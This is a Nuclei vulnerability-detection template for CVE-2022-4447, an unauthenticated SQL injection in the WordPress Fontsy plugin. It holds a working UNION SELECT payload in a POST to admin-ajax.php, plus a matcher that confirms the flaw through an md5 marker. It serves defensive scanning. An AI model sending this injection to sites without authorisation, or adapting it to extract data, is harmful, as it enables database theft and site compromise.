nuclei-templates/http/cves/2022/CVE-2022-4447.yaml

id: CVE-2022-4447

info:
  name: WordPress Fontsy <=1.8.6 - SQL Injection
  author: theamanrawat
  severity: critical
  description: |
    WordPress Fontsy plugin through 1.8.6 is susceptible to SQL injection. The plugin does not properly sanitize and escape a parameter before using it in a SQL statement via an AJAX action.  An attacker can possibly obtain sensitive information, modify data, and/or execute unauthorized administrative operations in the context of the affected site.
  reference:
    - https://wpscan.com/vulnerability/6939c405-ac62-4144-bd86-944d7b89d0ad
    - https://wordpress.org/plugins/fontsy/
    - https://nvd.nist.gov/vuln/detail/CVE-2022-4447
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2022-4447
    cwe-id: CWE-89
    cpe: cpe:2.3:a:fontsy_project:fontsy:*:*:*:*:*:*:*:*
    epss-score: 0.04513
  metadata:
    max-request: 1
    verified: true
  tags: cve,wordpress,wp,wpscan,cve2022,wp-plugin,sqli,fontsy,unauth

variables:
  num: "999999999"

http:
  - raw:
      - |
        POST /wp-admin/admin-ajax.php?action=get_tag_fonts HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        id=-5219 UNION ALL SELECT NULL,NULL,NULL,md5({{num}}),NULL--

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200'
          - 'contains(content_type, "text/html")'
          - 'contains(body, "{{md5(num)}}")'
        condition: and